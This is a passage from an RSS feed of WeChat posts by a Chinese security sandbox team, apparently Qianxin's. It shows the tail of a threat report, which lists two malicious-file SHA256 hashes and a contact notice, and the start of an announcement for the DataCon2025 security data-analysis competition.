start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（SHA256）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9</span> </span></code><br/><code><span leaf="">2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3</span></code><br/></pre></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="158385"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;align-items: center;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;flex-shrink: 0;display: flex;flex-direction: column;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;letter-spacing: 1.5px;color: rgb(255, 255, 255);background: linear-gradient(to right, rgb(36, 50, 204), rgb(17, 102, 208));width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 20px;">0</span></span></strong><strong data-original-title="" title="" data-num="2" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 20px;">5</span></span></strong></p></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(34, 40, 114);text-align: left;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 20px;">技术支持与反馈</span></span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247488876">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8d791f04&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488876%26idx%3D1%26sn%3D610f886f817498bb5b869948d80a2e40">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Oct 2025 15:03:00 +0800</pubDate>
    </item>
    <item>
      <title>DataCon2025报名启动：用数据，守护未来！ (文末抽奖）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488866&amp;idx=1&amp;sn=ab798fe68e19c916b72aa4dbf3997a0e</link>
      <description>DataCon2025报名开启，欢迎大家报名参加！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-10-21 09:41</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=65e94ea6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mX2ITw0fgA7iaOrOtFXEHlv36PhVNy3mUZVEZvic3p6DlOjSe3iavdtxBBpk22fKco6TRIa8mH8mIpA%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>DataCon2025报名开启，欢迎大家报名参加！</p>

<div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 30px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;" data-pm-slice="0 0 []"><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;visibility: visible;"><div data-role="title" data-tools="135编辑器" data-id="163232" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto 20px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;justify-content: center;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px 0px -35px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 48px;color: rgb(255, 255, 255);text-shadow: rgb(205, 224, 249) 0em 0.028em 0em, rgb(205, 224, 249) 0.028em 0em 0em, rgb(205, 224, 249) 0.028em 0.028em 0em, rgb(205, 224, 249) -0.028em -0.028em 0em, rgb(205, 224, 249) 0.028em -0.028em 0em, rgb(205, 224, 249) -0.028em 0.028em 0em, rgb(205, 224, 249) 0em -0.028em 0em, rgb(205, 224, 249) -0.028em 0em 0em;text-align: center;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);text-shadow: none;font-size: 48px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">PART.0</span></strong><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">1</span></strong></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 24px;color: rgb(0, 164, 255);text-align: center;visibility: visible;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">竞赛开启，网安集结</span></p></strong></p></div></div></div></div><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;visibility: visible;"><div data-tools="135编辑器" data-id="161999" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border: 1px solid rgb(0, 164, 255);overflow: hidden;background: linear-gradient(rgb(205, 224, 249) 0%, rgb(255, 255, 255) 10%);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><p data-width="100%" nodeleaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 600.167px;overflow: hidden;visibility: visible;"><img data-imgfileid="100005751" alt="图片" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: baseline;height: auto !important;width: 600.167px !important;display: block;visibility: visible !important;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/RicNZQMn3FU7k5NebBnMQWaSFpuC5dJDrtGlibSqBZrEKg3lRqAWc3rYicupTEEcLvLylultwu7dibFeFJ2soYhlzQ/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="509" data-cropsely2="340" src="https://wechat2rss.xlab.app/img-proxy/?k=bca89953&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRicNZQMn3FU7k5NebBnMQWaSFpuC5dJDrtGlibSqBZrEKg3lRqAWc3rYicupTEEcLvLylultwu7dibFeFJ2soYhlzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></p></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span textstyle="" style="font-size: 16px;">在互联网威胁对抗悄然升级的当下，DataCon大数据安全分析竞赛犹如一颗璀璨的明星，照亮了网安人才前行的道路。</span><span textstyle="" style="font-size: 16px;font-weight: bold;">10月17日DataCon2025报名通道开启，11月5日</span><span textstyle="" style="font-size: 16px;">战火点燃，这不仅是一场技能的较量，更是一次顶尖智慧与真实威胁的碰撞。</span><span textstyle="" style="font-size: 16px;font-weight: bold;">本届赛事由清华大学网络科学与空间研究院、奇安信集团、蚂蚁集团、腾讯安全应急响应中心重磅主办，西安交通大学软件学院、复旦大学计算与智能创新学院、南开大学密码与网络空间安全学院、zilliz、蓝莲网安等全程协办</span><span textstyle="" style="font-size: 16px;">，如此强大的阵容为竞赛增添了更多的权威性和专业性。</span></span></p></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span textstyle="" style="font-size: 16px;">在这个高仿真的战场中，参赛选手可以锤炼自己的硬核实力，解锁职业进阶的快车道，在竞赛中找到属于自己的挑战和机遇。</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 30px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;visibility: visible;"><div data-role="title" data-tools="135编辑器" data-id="163232" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto 20px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;justify-content: center;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px 0px -35px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 48px;color: rgb(255, 255, 255);text-shadow: rgb(205, 224, 249) 0em 0.028em 0em, rgb(205, 224, 249) 0.028em 0em 0em, rgb(205, 224, 249) 0.028em 0.028em 0em, rgb(205, 224, 249) -0.028em -0.028em 0em, rgb(205, 224, 249) 0.028em -0.028em 0em, rgb(205, 224, 249) -0.028em 0.028em 0em, rgb(205, 224, 249) 0em -0.028em 0em, rgb(205, 224, 249) -0.028em 0em 0em;text-align: center;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);text-shadow: none;font-size: 48px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">PART.0</span></strong><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">2</span></strong></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 24px;color: rgb(0, 164, 255);text-align: center;visibility: visible;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">DataCon，成长密码</span></p></strong></p></div></div></div></div><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;visibility: visible;"><div data-tools="135编辑器" data-id="161999" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><p data-width="100%" nodeleaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;overflow: hidden;visibility: visible;"><img data-imgfileid="100005244" alt="图片" class="rich_pages wxw-img" data-ratio="0.562037037037037" data-s="300,640" data-type="jpeg" data-w="1080" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: baseline;height: auto !important;width: 622.833px !important;display: block;visibility: visible !important;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/RicNZQMn3FU5C2yGPibRrxtkCzeibFeu1bwkkedDL00eMIByjfFTFFW4OtSYFSUeAdEoOe7mYSL0HXgyiaybEBy2sA/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="532" data-cropsely2="355" src="https://wechat2rss.xlab.app/img-proxy/?k=e8fc5294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU5C2yGPibRrxtkCzeibFeu1bwkkedDL00eMIByjfFTFFW4OtSYFSUeAdEoOe7mYSL0HXgyiaybEBy2sA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D1"/></p></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">作为国内首个聚焦大数据安全分析的标杆赛事，DataCon早已不仅仅是单纯的技能比拼。它就像一个超级枢纽，连接着“科研、教学与实战”。回顾2024年的赛事，吸引了1556名选手同台竞技，诞生的创新方案更是成果丰硕。这些方案不仅被奇安信等企业转化为实战工具，</span><span textstyle="" style="font-size: 16px;font-weight: bold;">如PowerPeeler反混淆系统已应用于天穹沙箱，还助力近百篇学术论文发表，为网络安全领域的发展做出了重要贡献。</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 30px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;"><div data-role="title" data-tools="135编辑器" data-id="163232" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto 20px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 